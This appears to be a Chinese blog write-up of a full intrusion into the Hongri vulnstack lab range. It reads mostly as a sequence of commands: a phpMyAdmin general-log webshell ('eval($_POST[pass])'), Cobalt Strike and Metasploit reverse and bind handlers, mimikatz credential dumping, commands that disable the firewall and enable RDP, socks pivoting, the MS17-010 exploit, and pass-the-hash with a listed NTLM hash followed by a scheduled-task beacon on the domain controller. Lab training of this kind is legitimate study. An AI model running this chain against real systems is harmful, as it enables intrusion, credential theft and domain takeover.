前言:
靶机是红日团队开源的一个靶机,靠着这个环境学习到了很多啊哈哈哈!现在自己也是会搭建一些环境了!也是靠着这个靶机从0开始学内网,了解内网渗透,虽然很菜很菜很菜!靶机下载地址如下:
代码语言:javascript复制http://vulnstack.qiyuanxuetang.net/vuln/detail/2/
WEB服务器:windows7系统
代码语言:javascript复制外网网卡IP:192.168.1.102
内网网卡IP:192.168.52.143
域成员:windows server 2003系统
代码语言:javascript复制网卡IP:192.168.52.141
域控服务器:windows server 2008系统
代码语言:javascript复制网卡IP:192.168.52.138
攻击机器:kali windows 10
代码语言:javascript复制kali IP:192.168.1.112
CobaltStrike服务器IP:192.168.1.108
打开目标网站,发现了网站有后台路径泄露
后台弱密码
进来后台直接admin/123456弱密码搞进去,然后发现前台模板有php文件编辑,可以直接写shell上去,毕竟还是靶机,实战弱口令公网上我倒是进入过,但是不知道是不是蜜罐哈哈哈!
但是这个时候不知道路径,无法连接到shell。那我就御剑上去扫描一波http://192.168.1.117/yxcms/路径下的目录,发现了有robots.txt、protected和pubic。其中protected有信息泄露,路径可以浏览得到
这个时候只要浏览找出刚刚修改过的页面就可以使用shell连接器连接了
在对一级目录扫描发现了备份文件、phpmyadmin和phpinfo.php。打开phpinfo.php发现了觉得路径,是phpstudy搭建的服务器
phpmyadmin日志拿shell
打开phpmyadmin进去也是直接root / root 登陆,那就可以使用到phpmyadmin日志getshell。在现实网站部署中还是很多网站选择使用phpmyadmin的WEB界面来管理数据库的!首先我使用绝对路径写入shell,发现写入失败。
如果写入文件失败的话,要么权限不够要么就是secure_file_priv的原因。我们先整理一些sql写入一句话的条件:secure_file_priv = 为空、知道物理路径、有写入权限,那么上面报错可以知道secure_file_priv现在了我们写入一句话木马,这个时候我们可以通过phpmyadmin全局日志来回去webshell
代码语言:javascript复制show variables like '%general%';查询全局日志变量配置
开启general_log 将所有查询语句记录到新指定的可访问的文件中
代码语言:javascript复制set global general_log = on
然后设置全局日志的路径
代码语言:javascript复制set global general_log_file = 'C:/phpStudy/WWW/rizi.php'
这个时候我们通过select写入一句话木马到日志中,那就可以使用shell连接工具连接shell了
代码语言:javascript复制SELECT '<?php eval($_POST[pass]);?>'
最后两个shell都可以正常连接!哈哈哈哈贪玩一会!
进入内网
由于对方是windows系统,这里直接生成powershell使对方上线CobaltStrike
在获取CobaltStrike Shell之后获取的是Administrator权限,使用ms14-058提权成功
之后加载mimikatz 模块获取到了机器的明文密码和hash
把CobaltStrike的会话移植到msf上。在msf上面设置监听等待会话移植过来
代码语言:javascript复制use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.
set lport 2978
exploit
在CobaltStrike设置监听,这个时候设置为foreign监听,并且payload和msf设置的要一样(场景一:如果CS服务器搭建在VPS上使用公网IP,msf在内网使用私有IP,这个时候需要将内网地址端口映射到公网IP的端口上)
然后选择要派生的beacon,右键-->增加会话,选择刚刚配置的foreign监听器
SMB Beacon使用命名管道通过父级Beacon进行通信,此流量封装在SMB协议中,所以SMB Beacon相对隐蔽,绕过防火墙有奇效。这也是CobaltStrike作者推荐的。设置监听,使用Beacon SMB
然后选择Beacon 右击,选择增加会话,选择SMB的监听器,然后就可以转移到SMB Beacon上了
然后判断网络,发现有内网存在,有两张网卡,一张网卡通向内网
判断是否有域存在,查看网关IP地址、DNS的IP地址、域名、本机是否和DNS服务器处于同一网段
代码语言:javascript复制ipconfig /all
通过反向解析查询命令nslookup来解析域名,用解析的域名得到的IP地址进行对比判断域控和DNS服务器是否在同一台服务器上。执行命令查看域的域名,发现存在god.org域
查询命令
代码语言:javascript复制whoami
systeminfo
nslookup god.org # 解析域名IP地址
net config workstation #查询当前登陆域及登陆用户信息
net view /domain #查看域
net time /domain # 获取域服务器的时间
查询操作系统信息
代码语言:javascript复制systeminfo | findstr /B /C:"OS Name" /C:"OS Version" # 英文操作系统
systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本" # 中文操作系统
echo %PROCESSOR_ARCHITECTURE% # 查看系统系统结构
查看安装的软件以及版本、路径信息
代码语言:javascript复制wmic product get name,version # 使用wmic操作
powershell "Get-WmiObject -class Win32_Product | Select-Object -Property name,Version" #使用powershell进行操作
查询信息命令
代码语言:javascript复制wmic service list brief # 查询本机服务信息
tasklist #查询进程
wmic process list brief #使用wmic查询进程
wmic startup get command,caption #查看启动进程
schtasks /query /fo list /v # 查看计划任务
net statistics workstation # 查看主机开机时间
netstat -ano #查询端口列表
wmic qfe get caption,description,hotfixid,installedon #查询本机安装的补丁
查看机器内账号信息
代码语言:javascript复制net user #查看本机用户列表
net localgroup administrators # 获取本地管理员
query user || qwinsta # 获取在线用户
net session # 列出计算机所连接的客户端之间的会话
net share # 查看本机共享列表
wmic share get name,path,status #使用wmic 查询本机共享列表
关闭防火墙
代码语言:javascript复制netsh firewall set opmode disable # windows server 2003 之前
netsh advfirewall set allprofiles state off # windows server 2003 之后
开启3389端口
代码语言:javascript复制注册表打开:
REG ADD HKLMSYSTEMCurrentControlSetControlTerminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f #开启的话把0改为1
wmic开启3389:
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1
探测域内存活的主机
代码语言:javascript复制Ping命令探测内网主机
for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.52.%I | findstr "TTL="
使用Ladon插件在CobaltStrike上查询存活主机
Ladon 192.168.52.0/24 OnlinePC
查找域内信息
代码语言:javascript复制net view /domain:god # 查看域内所有计算机
net group /domain #查看域内所有用户列表
net group "domain computers" /domain #查看域成员计算机列表
- Domain Admins :域管理员
- Domain Computers:域内机器
- Domain Controllers:域控制器
- Domain Guests:域访客
- Domain Users:域用户
- Enterprise Admins:企业系统管理员 nltest /domain_trusts #获取域信任信息 sltest /DCLIST:god #查看域控制器机器名 net group "domain admins" /domain #查询域管理员用户 net group "Enterprise admins" /domain # 查询管理员用户在
横向移动获取域内主机
代码语言:javascript复制msf添加路由,使用代理进入内网
run get_local_subnets 查看当前网段
run autoroute -s 192.168.52.0/24 添加路由段
在Metasploit中激活路由配置,并且该配置必须能够通过socks4代理进行转发。
代码语言:javascript复制use auxiliary/server/socks4a
set srvhost 192.168.1.112
run
进入/etc/proxychains.conf 在底下修改,因为我们socks4模块设置为了192.168.1.112 1080端口.
这个时候代理成功,可以进入内网了,使用nmap来扫描域成员192.168.52.141的信息发现了有ms17-010漏洞,这里值得注意的是socket代理不支持ICMP协议
代码语言:javascript复制proxychains nmap -sT -sV -Pn -n -p22,80,135,139,445 --script=smb-vuln-ms17-010.nse 192.168.52.141
这个时候就可以使用msf内置的永恒之蓝漏洞去获取域成员的shell了,这个时候需要注意的是使用payload的时候要使用正向shell去连接
代码语言:javascript复制search ms17-010
use exploit/windows/smb/ms17_010_psexec
set payload windows/meterpreter/bind_tcp
set rhost 192.168.52.141
run
当然除了使用ms17-010来获取域成员主机之外,也可以使用哈希传递去横向移动获取域成员的主机,在域环境中计算机登陆时候使用的大都是域账号,大量计算机在安装的时候会使用相同的本地管理员账户和密码。如果计算机的本地管理员账户密码也是相同,就可以使用哈希传递的方法对内网其他计算机进行攻击。可以通过哈希传递和明文登陆来横向获取其他机器。
使用刚刚mimikatz获取下来的明文密码进行传递,也可以使用哈希来传递
这样对方域成员主机就可以上线了!
这里为了更加好的回去对方内网的主机,直接使用对方服务器作为跳板进入内网获取跟多主机,使用earthworm进行socks代理。把EW对于对方服务器操作系统的版本上传上去,然后输入命令代理
代码语言:javascript复制ew_for_Win.exe -s ssocksd -l 1082
然后在Proxifier配置相对于的配置Windows就可以访问内网了。
Linux下可以使用命令行代理工具proxychains来代理进入内网
然后Linux也代理成功!
使用proxychains 代理msf打通内网主机,这里打通了域成员!
这个时候以及获取到了两个机器的控制了!然后使用mimikatz获取明文密码或者ntlm哈希来进行获取域控
使用获取下来的ntlm哈希进行哈希传递获取访问域控的权限,接着使用dir 就可以查看域控内网资源了
代码语言:javascript复制mimikatz sekurlsa::pth /domain:god.org /user:administrator /ntlm:81be2f80d568100549beac645d6a7141
dir \192.168.52.138c$
然后设置中转监听,这个监听IP要内网可以通信的内网IP
然后生成木马,再把木马copy到域控,设置好任务计划,启动木马之后就能够获取域控的shell了
代码语言:javascript复制copy C:beacon.exe \192.168.52.138c$
shell schtasks /create /tn "test" /tr C:beacon.exe /sc once /st 18:05 /S 192.168.52.138 /RU System /u administrator /p "hongrisec@2020"
schtasks /delete /s 192.168.52.138 /tn "test" /f
最后再让msf上面获取的域成员windows server 2003上线到CobaltStrike
!!!最后还是学习到了很多,把内网安全攻防这本书看了一边,还是由很多不懂哈哈哈!